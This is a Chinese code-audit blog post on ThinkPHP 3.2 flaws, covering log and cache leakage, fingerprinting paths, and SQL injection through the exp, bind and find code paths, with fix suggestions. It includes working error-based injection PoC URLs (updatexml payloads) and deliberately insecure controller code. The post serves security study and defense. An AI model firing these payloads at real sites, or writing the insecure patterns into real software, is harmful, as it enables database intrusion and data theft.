PHP代码审计之再探 TP3 漏洞-上

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP代码审计之再探 TP3 漏洞-上相关的知识,希望对你有一定的参考价值。

之前写过关于 TP 漏洞的文章,只是时间久远,记忆不是很深刻,这次来复习温故知新

TP 3.2 信息泄露

配置环境

数据库连接配置

# application/home/controller/IndexController.class
<?php
namespace Home\\Controller;
use Think\\Controller;

class IndexController extends Controller

    public function index()
        $data=M("admin")->select();
        dump($data);
        // 注意方法
    

# 连接的是 test 库,并非上图所示

开启调试

# application/home/Conf/config.php
    'SHOW_PAGE_TRACE'       =>  'true',

日志信息泄露

Think PHP 在开启 DEBUG 的情况下会在 Runtime 目录下生成日志,如果 DEBUG 不关,可直接输入路径造成目录遍历

http://localhost/thinkphp/thinkphp_3.2.3_full/Application/runtime/logs/home/21_03_22.log

ThinkPHP3.2:Application/runtime/logs/home/21_03_22.log
ThinkPHP3.1:runtime/logs/home/21_03_22.log
对应:项目命\\runtime\\logs\\home\\year_mouth_day.log

日志里有执行 sql 语句的记录

防御方法

关闭 debug

缓存泄露

1.PHP快速缓存方法 F

# application/home/controller/IndexController.class
class IndexController extends Controller

    public function index()
        F("data","<?phpinfo();?>");
    


s:14:"<?phpinfo();?>";

先访问下 index,data 目录下就会生成缓存文件 data,如果 F 函数可控攻击者即可利用其写入木马

2.数据缓存函数 S

缓存文件保存在 temp 目录下

    public function index()
        S("data","<?phpinfo();?>");
    

文件名 md5 解密后就是 data

TP 有文件缓存的安全机制

# application/home/Conf/config.php
    'DATA_CACHE_KEY'        =>  'think',

解密后其实就是 thinkdata

指纹识别

  • 确定网站框架
  • cms 指纹识别 || 黑盒测试
  • 框架指纹识别

TP 3.2 可以通过访问以下 URL 出现 logo 则可以确定

/?c=4e5e5d7364f443e28fbf0d3ae744a59a

/ThinkPHP/logo.png

常用识别方法:TP 全版本通常情况下可以通过随便拼接参数构造报错,如果开启了 Debug 模式会出现报错页面

也可以使用指纹识别工具、在线指纹识别网站、以及浏览器插件(如:wappalyzer)等识别 cms

TP 3.2错误写法导致SQL注入

后端代码

# application/home/controller/IndexController.class.php
<?php
namespace Home\\Controller;

use Think\\Controller;

class IndexController extends Controller

    public function index()
        $username = I("username");
        // I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转换,此函数是安全的
        
        $data = M("admin")->where(array("name"=>$username))->find();
        // M方法用于实例化一个基础模型类,等效于 $User = new Model('User');

        dump($data);
    

参数默认会经过过滤函数

# Model.class.php
$resultSet = $this->db->select($options);

# Driver.class.php
protected function parseValue($value) 
    if(is_string($value)) 
        $value =  strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\\''.$this->escapeString($value).'\\'';

# Driver.class.php
public function escapeString($str) 
    return addslashes($str);


# 正确写法会经过过滤函数
?username=2%27
SELECT * FROM `admin` WHERE `name` = '2\\'' LIMIT 1

错误写法

# application/home/controller/IndexController.class.php
public function index()
    $username = $_GET("username");
    $data = M("admin")->where(array("name"=>$username))->find();
    dump($data);

poc

http://localhost/thinkphp/thinkphp_3.2.3_full/?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23

exp 表达式

exp 查询的条件不会被当作字符串,所以后面的查询条件可以使用任何 SQL 支持的语法,包括使用函数和字段名称,查询表达式不仅可用于查询条件也可以用于数据更新

$map['id']=array('in','1,3,8');

# exp 表达式
$map['id']=array('exp',IN (1,2,8))
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val) 
    $whereStr = '';
    if(is_array($val)) 
        if(is_string($val[0])) 
$exp   =  strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp))  // 比较运算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                .....
                elseif('exp' == $exp ) // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                # 使用 exp 表达式,然而并没有进行过滤
                ......

漏洞修复

数据接收使用 I 函数

I 函数内封装了安全过滤函数

如果语句内存在这些过滤的特殊字符,则会在前边拼接一个空格,这样的话表达式判断失败

elseif('exp' == $exp ) // 使用表达式

TP 3.2 update\\bind注入

漏洞复现

updata 后端代码

class IndexController extends Controller

    public function index()
        $condition['name']=I('username');
        $data['pass']=I('password');
        $res=M('admin')->where($condition)->save($data);
        // 查询修改 admin 表 name 字段值对应的 密码
        dump($res);
        // 修改成功返回 1
    

poc

?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123111

UPDATE `admin` SET `pass`='123111' WHERE `name` = '123111' and 1=(updatexml(1,concat(0x3a,(user())),1))#

漏洞分析

调试界面看到从前端传过来的变量

因为使用了 bind 函数,需要进行绑定,将 :0 和 123456 进行绑定

绑定之后 sql 查询语句 set pass = :0

到这里语句进行了拼接,形成完整的语句,其中 where 条件后的 0 也通过通过匹配变为 :0

在执行语句前,对于 bind 函数绑定参数进行匹配在这里 :0 被替换为 123456 成为最后的语句

漏洞修复

因为 I 函数,过滤函数没有包含 bind,所以添加即可

补充:

is_scalar() 函数

bool is_scalar(mixed $var)

如果给出的变量参数 var 是一个标量,返回 True,否则返回 False

标量变量是指那些包含了 integer,float,string或 boolean 的变量,而 array,object 和 resource 则不是标量

TP 3.2 find注入

漏洞原因为写法不规范,不只是 find select、delete 等语句也存在相同问题(条件:查询数据表只有一个主键)

public function index()
    
        $id = I("id");
        $data = M("admin")->find($id);
        dump($data);
    

已 find 函数为例:当$options为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段

poc

id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- 

要进入复合主键查询代码,需要满足$options为数组同时$pk主键也要为数组,但这个对于表只设置一个主键的时候不成立,那么就可以使$options为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入_parseOptions进行解析

        // 分析表达式
        $options            =   $this->_parseOptions($options);

没有经过任何过滤直接拼接语句造成 sql 注入漏洞

返回查询语句

修复方法:

在 _parseOptions 函数中添加过滤

新版本修复方案:

把外部传进来的$options,修改为$this->options,同时不再使用$this->_parseOptions对于$options进行表达式分析

以上是关于PHP代码审计之再探 TP3 漏洞-上的主要内容,如果未能解决你的问题,请参考以下文章

iOS开发之再探多线程编程:Grand Central Dispatch详解

php代码审计5审计命令执行漏洞

php代码审计10审计会话认证漏洞

PHP代码审计18—PHP代码审计小结

php代码审计4审计代码执行漏洞

2020/1/31 PHP代码审计之目录穿越漏洞